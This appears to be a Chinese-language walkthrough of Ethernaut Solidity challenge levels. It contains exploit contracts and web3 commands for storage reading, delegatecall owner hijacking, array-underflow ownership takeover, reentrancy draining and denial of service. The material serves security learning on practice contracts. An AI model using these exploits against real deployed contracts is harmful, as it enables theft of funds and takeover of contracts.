Elevator

目标:成为 top,让变量 top 变为 true
代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}//定义了一个接口,这个函数返回你是不是在最顶层
contract Elevator {
bool public top;//布尔型变量,是否是top,默认false
uint public floor;//楼层
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {//如果不是最顶层的话就进入if
floor = _floor;//拿到你的_floor
top = building.isLastFloor(floor);//让top等于判断结果,所以还是false
}//但是如果你是top的话,没有改top的机会,所以还是false
}
}

题目声明了 Building 接口中的那个 isLastFloor 函数,我们可以自己编写
只要让他反转两次就可以啦

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

contract BuildingEXP{
Elevator ele;
bool toop = true;//一开始定义为true
function isLastFloor(uint) view public returns (bool) {
toop = !toop;//在if那个地方要为false进入
//在top那个地方再次反转为false,这样就能保证top一直都是true啦
return toop;
}
function attack(address _addr) public{
ele = Elevator(_addr);
ele.goTo(5);
}
}

部署 hack 合约,然后执行 exploit 函数,就可以了,可以用 flag 查看一下
也可以在控制台查看 await contract.top()

image.png
image.png
image.png
image.png
image.png
image.png

Privacy

目标:解锁需要一个 key,而这个 key 是 data[2] 是 private 的
在区块链上面没有私密的东西,都是公开的,只要找到就能过关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pragma solidity ^0.4.18;
contract Privacy {
bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
function Privacy(bytes32[3] _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

evm 每次处理 32 个字节,不足 32 字节的变量相互共享并补齐 32 字节
那么我们简单分析下题目中的变量:

bool public locked = true; //1 字节 01
uint256 public constant ID = block.timestamp; //32 字节 常量 不写入存储
uint8 private flattening = 10; //1 字节 0a
uint8 private denomination = 255;//1 字节 ff
uint16 private awkwardness = uint16(now);//2 字节
bytes32[3] private data;

第一个 32 字节就是由 locked、flattening、denomination、awkwardness 组成,另外由于常量 constant 是无需存储的,所以从第二个 32 字节开始就是 data。前几个合起来是第一个 32,data[0] 是第二个 32,data[1] 是第三个 32,所以我们的是第四个
web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})

image.png
image.png

这个脸,好诡异

image.png
image.png

Gatekeeper One

目标:绕过三个 gate 来执行 enter 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;//可以部署一个中间合约来调用绕过
}
modifier gateTwo() {
require(msg.gas.mod(8191) == 0);
_;//gas要满足8191取余为0
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;//这个后文中详细说说
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

调试看看
首先部署一个原来的

image.png
image.png

然后复制部署的合约地址,部署我们测试的攻击合约(我们要先部署一个可以打通的来绕过第一个关卡,方便调试看看第二个怎么弄)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
contract MyAgent {
GatekeeperOne c;

function MyAgent(address _c) {
c = GatekeeperOne(_c);
}
function exploit() {
bytes8 _gateKey = bytes8(msg.sender) & 0xffffffff0000ffff;
c.enter.gas(81910)(_gateKey);
//c.enter.gas(81910-81697+81910+2)(_gateKey);
//注释的是正确的,但是先调试看看
}
}
image.png
image.png

然后点击 exploit,完成后选择中间窗口的 debug

image.png
image.png

首先,因为我们是使用另一个合约调用的,所以第一个 gate 是可以绕过的,然后我们来看一下第二个关卡需要多少 gas

接下来的一步需要的 gas 是 2,msg.gas 就是 remaining gas,想要绕过这一关就需要让 remaining gas % 8191 = 0。而在之前我们写入的值是 81910,现在的值是 81697,那么之前总消耗的值就是:81910-81697=213,再走一步再消耗 2,也就是说,如果我们想要让这一步结束之后 remaining gas % 8191 = 0 的话,或者说想要让他执行完之后刚好是 81910 的话,就需要让之前的值为:213+2+81910。所以想要绕过第二个关卡的话,值应该是 213+2+81910

image.png
image.png

第三个关卡:

1
2
3
4
5
6
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
  • 先看最后一个判断 tx.origin 是最初的调用者,就是我们的账户,uint16 是最后 8 字节,要与 uint32 的 key 也就是最后 16 字节相等,所以 key 的最后 8 字节就是 tx.origin 的最后 8 字节
  • 同时如果第一个条件 uint32 的 key 要与 uint16 的 key 相等,所以 key 的 uint32 类型 16 字节前面的八个字节要全为 0
  • 再看中间那个,key 的后 16 字节还不能和整个 32 字节相等,前面只要不是 0 就不会相等

综上,key 如果是 0xFFFFFFFF0000FFFF & tx.origin 的话就正好可以

通过一个 demo 来看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pragma solidity ^0.4.18;
contract GateKeeperCheck {
function condition2(bytes8 _gateKey) view returns(bool a,bool b, bool c){
a = uint32(_gateKey) == uint16(_gateKey);
b = uint32(_gateKey) != uint64(_gateKey);
c = uint32(_gateKey) == uint16(tx.origin);
}
function Converter(address _player) view returns(bytes8 s,uint16 a,uint32 b, uint64 c){
s = bytes8(_player);
a = uint16(_player);
b = uint32(_player);
c = uint64(_player);
}
}
image.png
image.png

Gatekeeper Two

目标与上一关相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
//用内联汇编来获取调用方caller的代码大小
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

gate1:还是要建一个合约用来间接调用
gate2:extcodesize 是用来获取指定地址合约代码大小的,这里用内联汇编的方式来获取调用方 caller 的代码大小。一般来说,当 caller 为合约时,获取的大小为合约字节码大小,caller 为账户时,获取的大小为 0,但是这样就不能满足第一个了。合约在初始化时代码大小为 0。所以我们可以把攻击合约的调用操作写在构造函数中
gate3:传入一个八字节的 key,把 msg.sender 的 hash 计算出来与 uint64 类型的 key 异或,要等与 0-1,也就是 0xFFFFFFFFFFFFFFFF,只要我们先用 uint64(keccak256(msg.sender)) 与 0xFFFFFFFFFFFFFFFF 进行异或,这样再次异或的时候就成了 0xFFFFFFFFFFFFFFFF,也就符合条件了
(优先级为 – 大于 ^ 大于 ==)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
contract attack{
function attack(address param){
GatekeeperTwo a =GatekeeperTwo(param);
bytes8 _gateKey = bytes8((uint64(0) -1) ^ uint64(keccak256(this)));
a.enter(_gateKey);
}
}

把上面 exp 部署以后就可以达到目的可以提交啦

image.png
image.png

Naught Coin

目标:现在手里有一些代币,但是十年之后才能转走,先办法转走他们,使得你合约中的代币为 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
contract NaughtCoin is StandardToken {
using SafeMath for uint256;
string public constant name = 'NaughtCoin';
string public constant symbol = '0x0';
uint public constant decimals = 18;
uint public timeLock = now + 10 years;
uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000);
address public player;
function NaughtCoin(address _player) public {
player = _player;
totalSupply_ = INITIAL_SUPPLY;
balances[player] = INITIAL_SUPPLY;
Transfer(0x0, player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

先看一下有多少代币
await contract.balanceOf(player)

image.png
image.png

在合约中,他 import 了一个 StandardToken.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pragma solidity ^0.4.6;
import './ERC20Lib.sol';
contract StandardToken {
using ERC20Lib for ERC20Lib.TokenStorage;
ERC20Lib.TokenStorage token;
string public name = "SimpleToken";
string public symbol = "SIM";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 10000;
function StandardToken() {
token.init(INITIAL_SUPPLY);
}
function totalSupply() constant returns (uint) {
return token.totalSupply;
}
function balanceOf(address who) constant returns (uint) {
return token.balanceOf(who);
}
function allowance(address owner, address spender) constant returns (uint) {
return token.allowance(owner, spender);
}
function transfer(address to, uint value) returns (bool ok) {
return token.transfer(to, value);
}
function transferFrom(address from, address to, uint value) returns (bool ok) {
return token.transferFrom(from, to, value);
}
function approve(address spender, uint value) returns (bool ok) {
return token.approve(spender, value);
}
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}

引用的这个合约中有两个转账函数,一个是 transfer 还有一个是 transferFrom,而题目的合约只对 transfer 进行了重写,我们可以使用题目 import 的那一个合约中的 transferFrom,先看一下 StandardToken.sol import 的 ERC20Lib.sol,看一下 transferFrom 是怎么定义的,他需要先经过 approve 批准才能使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
var _allowance = self.allowed[_from][msg.sender];
self.balances[_to] = self.balances[_to].plus(_value);
self.balances[_from] = self.balances[_from].minus(_value);
self.allowed[_from][msg.sender] = _allowance.minus(_value);
Transfer(_from, _to, _value);
return true;
}
...
function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
self.allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
...

使用 approve 进行授权
await contract.approve(player,toWei(1000000))

然后通过 transferFrom 来实施转账
await contract.transferFrom(player,contract.address,toWei(1000000))

image.png
image.png
image.png
image.png
image.png
image.png

Preservation

目标:拿到合约所有权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pragma solidity ^0.4.23;
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}//构造函数
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}

contract LibraryContract {
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}

delegatecall 调用的时候执行的是调用的那个函数,但是用的是本合约的变量,可以写一个 exp

1
2
3
4
5
6
7
8
9
10
11
pragma solidity ^0.4.23;
contract PreservationPoc {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;

function setTime(uint _time) public {
owner = address(_time);
}
}

首先调用正常合约中的一个函数 setxxxTime(“恶意合约地址”),这样就可以把他的变量改成了我们的合约地址,再次去调用的时候就是去执行我们合约中的代码了,比如:
await contract.setSecondTime(“恶意合约的地址”)
这样 timeZone2Library 就成了恶意合约的地址,再次去执行 setSecondTime 的时候就是执行的恶意合约了,拿我们部署的来说就是改变了合约的所有者
await contract.setFirstTime(player)

image.png
image.png

一开始合约所有者不是我们,后面我们已经成为了合约的所有者,在第一次做的时候这样是不行的,要先用 setSecondTime 设置恶意合约为变量,然后 setFirstTime 来改变合约所有者,不明白怎么回事

image.png
image.png
image.png
image.png

Locked

目标:注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity ^0.4.23;
contract Locked {
bool public unlocked = false; //默认是false
struct NameRecord { //我们想要注册
bytes32 name;
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); //要让unlocked为true才能注册
}
}

【先知】智能合约审计系列——3、变量覆盖&不一致性检查
这里涉及到一个变量覆盖的问题,我们知道在 solidity 中是有两种存储状态的,一个是 storage 一个是 memory,对于 struct 和 数组 来说,默认就是 storage ,对应上面我们的第 12 行 NameRecord newRecord 会被当成一个指针,newRecord.name 默认指向第一个存储块,也就是 unlocked,所以我们可以通过修改 newRecord.name 来修改 unlocked

当输入 name=”0x0000000000000000000000000000000000000000000000000000000000000001”(63 个 0),地址任意地址时,会覆盖 unlocked 的值,使其变为 true

image.png
image.png
image.png
image.png

Recovery

目标:新生成了一个合约并转了 0.5 ether,但是丢失了合约地址,从丢失的合约中恢复 0.5 ether

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.23;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Recovery {
//generate tokens
function generateToken(string _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}//新建了下面的合约
}
contract SimpleToken {
using SafeMath for uint256;
string public name;
mapping (address => uint) public balances;
constructor(string _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
function() public payable {
balances[msg.sender] = msg.value.mul(10);
}
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
function destroy(address _to) public {
selfdestruct(_to);//自毁函数,pubic的
}
}

生成一个实例之后去看一下详情(国内 404,所以要..)

image.png
image.png

可以看到,我们的帐户给了他 1 ether,然后他又给了另一个地址 0.5 ether,这就是新创建的合约的地址,我们只需要调用新建的这个合约的 destory

image.png
image.png

mark 一下:
新建合约:0xD2F46c7A6F69d56570BF25346f0Cc893a5925828

exp:把新建的合约地址贴上去部署 RecoveryPoc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity ^0.4.23;
contract SimpleToken {
string public name;
mapping (address => uint) public balances;
function() public payable ;
function transfer(address _to, uint _amount) public ;
function destroy(address _to) public ;
}
contract RecoveryPoc {
SimpleToken target;
constructor(address _addr) public{
target = SimpleToken(_addr);
}//构造函数
function attack() public{
target.destroy(tx.origin);
}
}

把那 0.5 ether 还给了我们,同时自己销毁了

image.png
image.png

提交就可以啦

image.png
image.png

MagicNumber

目标:使用 10 个操作码输出 42

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.4.24;

contract MagicNum {
address public solver;
constructor() public {}
function setSolver(address _solver) public {
solver = _solver;
}
/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

原理:https://hitcxy.com/2019/ethernaut/ 太强了!
在合约创建的时候,用户或合约将交易发送到以太坊网络,没有参数 to,表示这是个合约创建而不是一个交易
EVM 把 solidity 代码编译为 字节码,字节码直接转换成 opcodes 运行

字节码包含两部分:initialization code 和 runtime code ,一开始合约创建的时候 EVM 只执行 initialization code,遇到第一个 stop 或者 return 的时候合约的构造函数就运行了,此时合约便有了地址

想要做这道题要构造这两段代码 initialization code 和 runtime code,initialization code 是由 EVM 创建并且存储需要用的 runtime code 的,所以首先来看 runtime code,想要返回 42,需要用 return(p,s) 但是在返回值前先要把值存储到内存中 mstore(p, v)

首先,用 mstore(p,v) 把 42 存储到内存中,v 是 42 的十六进制值 0x2a,p 是内存中的位置(不知道为啥)

1
2
3
0x602a  ;PUSH1 0x2a    v
0x6080 ;PUSH1 0x80 p
0x52 ;MSTORE

然后,用 return(p,s) 返回 42,p 是存储的位置,s 是存储所占的大小不明白为啥是 0x20

1
2
3
0x6020   ;PUSH1 0x20    s
0x6080 ;PUSH1 0x80 p
0xf3 ;RETURN

所以整个 runtime code 是 0x602a60805260206080f3

再来看 initialization code,首先 initialization code 要把 runtime code 拷贝到内训,然后再返回给 EVM
将代码从一个地方复制到一个地方的方法是 codecopy(t, f, s)。t 是目标位置,f 是当前位置,s 是代码大小(单位:字节),之前我们的代码大小为 10 字节

1
2
3
4
5
;copy bytecode to memory
0x600a ;PUSH1 0x0a S(runtime code size)
0x60?? ;PUSH1 0x?? F(current position of runtime opcodes)
0x6000 ;PUSH1 0x00 T(destination memory index 0)
0x39 ;CODECOPY

然后,将内存中的 runtime codes 返回到 EVM

1
2
3
4
;return code from memory to EVM
0x600a ;PUSH1 0x0a S
0x6000 ;PUSH1 0x00 P
0xf3 ;RETURN

initialization codes 总共占了 0x0c 字节,这表示 runtime codes 从索引 0x0c 开始,所以 ?? 的地方是 0x0c
所以,initialization codes 最后的顺序是 600a600c600039600a6000f3
两个拼起来,得到字节码是:0x600a600c600039600a6000f3602a60805260206080f3

var bytecode = “0x600a600c600039600a6000f3602a60805260206080f3”;
web3.eth.sendTransaction({from:player,data:bytecode},function(err,res){console.log(res)});
然后去刚才交易的详情去看一下

image.png
image.png
image.png
image.png

拿到新的合约地址之后 await contract.setSolver(“合约地址”),然后就通关了

image.png
image.png

Alien Codex

目标:拿到合约所有权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pragma solidity ^0.4.24;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract AlienCodex is Ownable {
bool public contact;//布尔型变量contact
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;//函数修饰符,要通过contact必须要是true
}
function make_contact(bytes32[] _firstContactMessage) public {
assert(_firstContactMessage.length > 2**200);//要求数组的长度必须是大于2的200次方
contact = true;
}//可以通过这个函数,使得contact变为true
function record(bytes32 _content) contacted public {
codex.push(_content);
}//增加数组长度
function retract() contacted public {
codex.length--;
}//减少数组长度
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}//修改数组里的内容
}

由于 EVM 存储优化的关系,在 slot [0] 中同时存储了 contact 和 owner,所以我们要做的就是将 owner 变量覆盖为自己账户地址
所有函数都有 contacted 限制,所以必须要先通过 make_contact 把 contact 改成 true

make_contact() 函数只验证传入数组的长度。OPCODE 中数组长度是存储在某个 slot 上的,并且没有对数组长度和数组内的数据做校验。所以可以构造一个存储位上长度很大,但实际上并没有数据的数组,打包成 data 发送

1
2
3
4
5
6
7
8
9
sig = web3.sha3("make_contact(bytes32[])").slice(0, 10);
// "0x1d3d4c0b"
// 函数选择器
data1 = "0000000000000000000000000000000000000000000000000000000000000020";
// 除去函数选择器,数组长度的存储从第0x20位开始,上面是32字节
data2 = "1000000000000000000000000000000000000000000000000000000000000001";
// 数组的长度
contract.sendTransaction({ data: sig + data1 + data2 });
// 发送交易
image.png
image.png

之后通过调用 retract(),使得 codex 数组长度下溢。
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});

image.png
image.png

await contract.retract()
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});

image.png
image.png

再来看一下 codex 的位置:
我们要修改 slot 0 对应的 codex[?]
codex[X] == SLOAD(keccak256(slot) + X)
X 就是我们传入的那一个下标,是我们可控的,我们改成 2^256 - keccak256(slot) 这样实际上就是 2^256,总共有 2^256 个 slot,我们去找的就是 slot 2^256 也就是 slot 0
codex 的 slot 是 1,所以我们用下面的方法去计算一下

1
2
3
4
5
6
pragma solidity ^0.4.18;
contract test {
function go() view returns(bytes32){
return keccak256((bytes32(1)));
}
}
image.png
image.png

2**256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 = 35707666377435648211887908874984608119992236509074197713628505308453184860938

所以我们把 codex 的下标改成这个之后实际修改的就是 slot 0 的地址
contract.revise(‘35707666377435648211887908874984608119992236509074197713628505308453184860938’,’0x000000000000000000000001 改成 player 的地址’)

image.png
image.png
image.png
image.png

Denial

目标:造成 DOS 使得合约的 owner 在调用 withdraw 时无法正常提取资产

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.4.24;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner;
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances;

function setWithdrawPartner(address _partner) public {
partner = _partner;
}
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
function() payable {}
function contractBalance() view returns (uint) {
return address(this).balance;
}
}

可以使用重入攻击的方法,把钱全部转走 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pragma solidity ^0.4.23;
contract Denial {
address public partner;
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances;
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
function withdraw() public {
uint amountToSend = address(this).balance/100;
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] += amountToSend;
}
function() payable {}
function contractBalance() view returns (uint) {
return address(this).balance;
}
}
contract Attack{
address instance_address = 题目合约地址;
Denial target = Denial(instance_address);
function hack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}
function () payable public {
target.withdraw();
}
}

部署,点击 hack 然后提交就可以啦

image.png
image.png
image.png
image.png

还有一种方法是 assert 函数触发异常之后会消耗所有可用的 gas,消耗了所有的 gas 那就没法转账了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pragma solidity ^0.4.23;
contract Denial {
address public partner;
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances;
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
function withdraw() public {
uint amountToSend = address(this).balance/100;
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] += amountToSend;
}
function() payable {}
function contractBalance() view returns (uint) {
return address(this).balance;
}
}
contract Attack{
address instance_address = 题目合约地址;
Denial target = Denial(instance_address);
function hack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}
function () payable public {
assert(0==1);
}
}